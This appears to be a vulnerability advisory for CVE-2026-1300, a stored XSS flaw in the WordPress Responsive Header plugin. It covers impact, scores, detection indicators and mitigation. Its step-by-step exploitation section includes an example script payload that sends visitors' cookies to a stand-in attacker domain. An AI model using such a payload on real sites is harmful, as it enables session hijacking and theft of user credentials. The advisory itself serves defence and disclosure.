CVE-2026-1300: 
WordPress vulnerability analysis and mitigation

CVE-2026-1300 is a Stored Cross-Site Scripting (XSS) vulnerability in the Responsive Header plugin for WordPress, affecting all versions up to and including 1.0. The flaw stems from insufficient input sanitization and output escaping across multiple plugin settings parameters. It was disclosed on January 24, 2026, with Wordfence as the reporting CNA. The vulnerability carries a CVSS v3.1 base score of 4.4 (Medium), assigned by Wordfence (Wordfence, NVD).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting). Authenticated attackers with administrator-level privileges can inject arbitrary JavaScript into plugin settings fields, which are then rendered unsanitized in pages viewed by other users. The vulnerable code has been identified in rhp-settings.php at line 103 of the plugin. Exploitation is constrained to multi-site WordPress installations or single-site installations where the unfiltered_html capability has been explicitly disabled (NVD, Wordfence).

Successful exploitation allows an authenticated administrator to persistently inject malicious scripts into WordPress pages, which execute in the browsers of any user who visits the affected pages. The primary risks are session hijacking, credential theft, and unauthorized actions performed on behalf of victims. The scope is limited to multi-site or unfiltered_html-disabled environments, and availability is not impacted; confidentiality and integrity impacts are rated low (NVD, Wordfence).

No public proof-of-concept exploit code or in-the-wild exploitation has been reported for CVE-2026-1300. The EPSS score is approximately 0.03%, indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires authenticated administrator-level access, significantly limiting the attacker pool (Wordfence).

1. Reconnaissance: Identify a WordPress multi-site installation or a site with unfiltered_html disabled that has the Responsive Header plugin (version ≤ 1.0) installed and active.
2. Obtain administrator credentials: Gain authenticated access with administrator-level privileges through phishing, credential stuffing, or other means.
3. Navigate to plugin settings: Access the Responsive Header plugin settings page in the WordPress admin dashboard (typically under Settings or Appearance).
4. Inject malicious payload: Enter a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into one or more vulnerable settings parameters in rhp-settings.php.
5. Trigger execution: Save the settings. The injected script is stored in the database and rendered unsanitized whenever a user visits a page that loads the affected plugin output, executing the payload in the victim's browser (NVD, Wordfence).

• Logs: WordPress admin audit logs showing unexpected changes to Responsive Header plugin settings, particularly modifications to parameters in the plugin settings page by administrator accounts.
• File System: Review rhp-settings.php (line 103) for unexpected or encoded script content stored in plugin configuration; check the WordPress database wp_options table for entries associated with the Responsive Header plugin containing <script> tags or JavaScript event handlers.
• Network: Outbound requests from user browsers to unknown external domains following visits to pages rendering the Responsive Header plugin output, potentially indicating cookie or credential exfiltration.
• Browser/Application: Unexpected JavaScript execution or redirects on pages that include the Responsive Header plugin output, reported by end users.

The vulnerability affects all versions of the Responsive Header plugin up to and including 1.0. Site administrators should check the WordPress plugin repository for an updated version and upgrade immediately if available. If no patched version exists, the recommended workaround is to deactivate and remove the Responsive Header plugin. Additionally, ensuring that administrator accounts follow the principle of least privilege and enabling unfiltered_html only where strictly necessary can reduce exposure (NVD, Wordfence).

The vulnerability was reported by Wordfence, which serves as the CNA for this CVE. Coverage has been limited to automated vulnerability aggregators and security feed services, with no notable researcher commentary or significant media coverage identified. A brief mention appeared on Bluesky via a CVE notification account shortly after disclosure.